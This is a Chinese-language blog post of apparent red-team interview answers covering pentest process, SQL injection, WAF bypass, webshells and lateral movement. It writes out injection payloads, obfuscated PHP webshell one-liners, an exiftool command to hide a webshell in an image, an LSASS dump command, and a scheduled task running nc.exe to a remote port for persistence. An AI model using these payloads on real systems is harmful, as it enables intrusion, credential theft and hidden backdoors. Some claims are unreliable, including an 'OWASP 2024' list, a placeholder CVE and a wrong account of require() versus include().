安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年HW(护网面试) 25
1、渗透测试流程 2、SQL过滤单引号怎么注入 3、宽字节原理 4、CSRF和SSRF区别 和 作用 5、如何绕waf 6、命令执行有哪些函数 7、OWASP TOP10 8、隐藏马 9、端口号及对应服务 10、Java的反序列化漏洞 11、有什么优势 12、文件包含include()与require()的区别 13、内网渗透相关问题
1. 渗透测试流程
标准化流程(5阶段)
- 前期交互:明确测试范围、签署授权协议,避免法律风险。
- 情报收集:
- 被动搜集:WHOIS/SSL证书查询、GitHub敏感信息扫描
- 主动搜集:Nmap端口扫描、子域名爆破(工具:Amass)
- 威胁建模:绘制攻击面(如暴露的API、老旧中间件),确定优先级。
- 漏洞利用:
- 自动化扫描(Nessus/Acunetix)
- 手动验证(SQL注入/文件上传绕过)
- 后渗透与报告:
- 权限维持(隐藏后门)
- 生成报告:漏洞详情+复现步骤+修复建议
2. SQL过滤单引号怎么注入
绕过技巧(4类方法)
- 数字型注入:
- 原参数:
id=1
→ 注入:id=1-0/**/union/**/select/**/1,version(),3
- 编码绕过:
- URL编码:
'
→%27
→ 双重编码%2527
- Unicode编码:
'
→%u0027
(适用于ASP应用)- 注释符截断:
'/*!or*/'1'='1
(MySQL特性)- 字符串构造函数:
CHAR(65,66,67)
代替'ABC'
- 示例:
union select null,concat(CHAR(97,100,109,105,110))
3. 宽字节原理
漏洞成因与利用
- 核心原理:GBK/GB2312等双字节编码中,
\
(转义符,ASCII5C
)与特定字符(如%df
)组合形成合法汉字(如運
=%df%5C
),吞掉转义符。- 攻击流程:
- 输入
%df'
→ PHP的addslashes
转义为%df\'
(%df%5C%27
)- 数据库解析时
%df%5C
被识别为汉字運
,剩余'
破坏语法- 防御方案:统一UTF-8编码或使用
mysql_real_escape_string()
4. CSRF和SSRF区别与作用
对比分析表
维度 CSRF(跨站请求伪造) SSRF(服务端请求伪造) 攻击目标 用户浏览器 服务器端内网探测 利用条件 用户已登录目标站点 存在URL参数的服务(如图片下载) 典型场景 诱导点击链接篡改用户密码 访问 file:///etc/passwd
或内网Redis防御手段 Anti-CSRF Token校验 白名单域名、禁用危险协议(file/gopher)
5. 如何绕WAF
主流绕过技术(5类)
- 混淆拆分:
- SQL语句:
SEL/**/ECT
→SELECT
- HTTP参数污染:
id=1&id=2+union+select
- 编码干扰:
- Base64:
union select
→dW5pb24gc2VsZWN0
- HTML实体编码:
<script>
→<script>
- 非常规HTTP方法:
- 使用
OPTIONS
或DEBUG
方法传递恶意载荷- 缓冲区溢出攻击:
- 超长URL/Header使WAF检测失效(如10KB的Cookie)
- 云服务滥用:
- 通过AWS API Gateway转发恶意请求规避IP黑名单
6. 命令执行危险函数
高危函数清单(按语言分类)
语言 函数/类 风险案例 PHP system()
,exec()
,passthru()
system($_GET['cmd'])
Java Runtime.getRuntime().exec()
Runtime.exec("sh -c "+input)
Python os.system()
,subprocess.run()
os.system(request.args.get('cmd'))
Node.js child_process.exec()
exec('ls '+req.query.dir)
7. OWASP TOP 10(2024版)
精简重点(8项核心)
- 注入漏洞:SQLi/NoSQL/命令注入
- 失效的身份认证:弱密码、Session固定
- 敏感数据泄露:未加密存储、日志明文密码
- XML外部实体(XXE):解析恶意XML读取文件
- 失效的访问控制:水平越权(访问他人数据)
- 安全配置错误:默认密码、目录列表开启
- XSS跨站脚本:存储型XSS盗取Cookie
- 不安全反序列化:RCE漏洞(如Log4j2)
注:2024版新增 Serverless安全配置错误 和 AI模型投毒攻击 作为新兴威胁
8. 隐藏WebShell手法
隐蔽驻留技术(5种)
- 图片马:
- 将PHP代码插入图片EXIF:
exiftool -Comment='<?=eval($_POST[0]);?>' image.jpg
- 畸形文件名:
- Windows:
shell.php::$DATA
(ADS流特性)- Linux:
.shell.php
(隐藏文件)- 代码混淆:
- 加密:
<?php eval(gzinflate(base64_decode('..')));?>
- 合法文件嵌入:
- 篡改WordPress主题:
functions.php
添加register_shutdown_function
执行代码- 内存马:
- Java Agent注入Filter型内存Shell(无文件)
9. 端口号及对应服务
关键端口清单(8类)
端口 协议/服务 渗透利用方向 22 SSH 弱口令爆破、密钥泄露 80/443 HTTP/HTTPS Web漏洞攻击(SQLi/XSS) 445 SMB 永恒之蓝漏洞(MS17-010) 3306 MySQL SQL注入、UDF提权 6379 Redis 未授权访问写SSH公钥 8080 HTTP代理/Jenkins Jenkins未授权RCE(CVE-2024-23801) 27017 MongoDB 未授权访问导致数据泄露 5985 WinRM 远程PowerShell命令执行
10. Java反序列化漏洞
原理与利用全景
- 漏洞根源:
ObjectInputStream
处理未校验的序列化数据,触发危险方法(如readObject
)。- 攻击链组成:
- 反序列化入口点:HTTP参数/RMI/JMX端口
- 利用库:Commons-Collections(经典链)、Fastjson(自动类型推断)
- Payload:生成恶意对象执行
Runtime.exec()
- 新版绕过(2025):
- 利用JNDI注入+LDAP协议绕过高版本Java限制(>JDK 8u191)
- 内存马注入:通过
BeanFactory
动态注册恶意Filter
11. 渗透测试工程师的优势
核心竞争力(4维度)
- 多领域知识融合:
- 网络协议(TCP/IP, HTTP) + 操作系统(Linux/Windows内核)
- 自动化能力:
- 编写脚本(Python/PowerShell)批量扫描漏洞
- 攻防思维转换:
- 从防御角度设计攻击路径(如绕过EDR监控)
- 持续学习:
- 跟踪0day漏洞(如2025年爆出的Kubernetes API Server漏洞 CVE-2025-XXXX)
12.
include()
与require()
区别关键差异(3点)
场景 include()
require()
文件不存在 产生警告,脚本继续执行 致命错误,脚本终止 动态包含 常用于条件加载(如 if
块内)通常用于必需文件(如配置) 返回值 可处理包含文件返回值 无返回值 漏洞关联:二者均可触发文件包含漏洞(LFI),但
include()
更易利用(允许路径截断%00
)
13. 内网渗透关键技术
横向移动方法(5类)
- 凭据窃取:
- Mimikatz抓取内存密码 → 破解NTLM哈希
- 转储LSASS进程:
procdump -ma lsass.exe
- 协议利用:
- SMB爆破(工具:CrackMapExec)
- Kerberos黄金票据攻击
- 端口转发:
- SSH隧道:
ssh -L 1080:target_ip:3389 user@jump_host
- FRP/Ngrok穿透内网
- 漏洞扩散:
- MS17-010(永恒之蓝)扫描内网主机
- 利用打印机协议(IPP)漏洞(CVE-2024-2030)
- 权限维持:
- 计划任务:
schtasks /create /tn backup /tr "nc.exe 192.168.1.1 4444"
- 服务创建:
sc create WinUpdate binPath= "C:\shell.exe"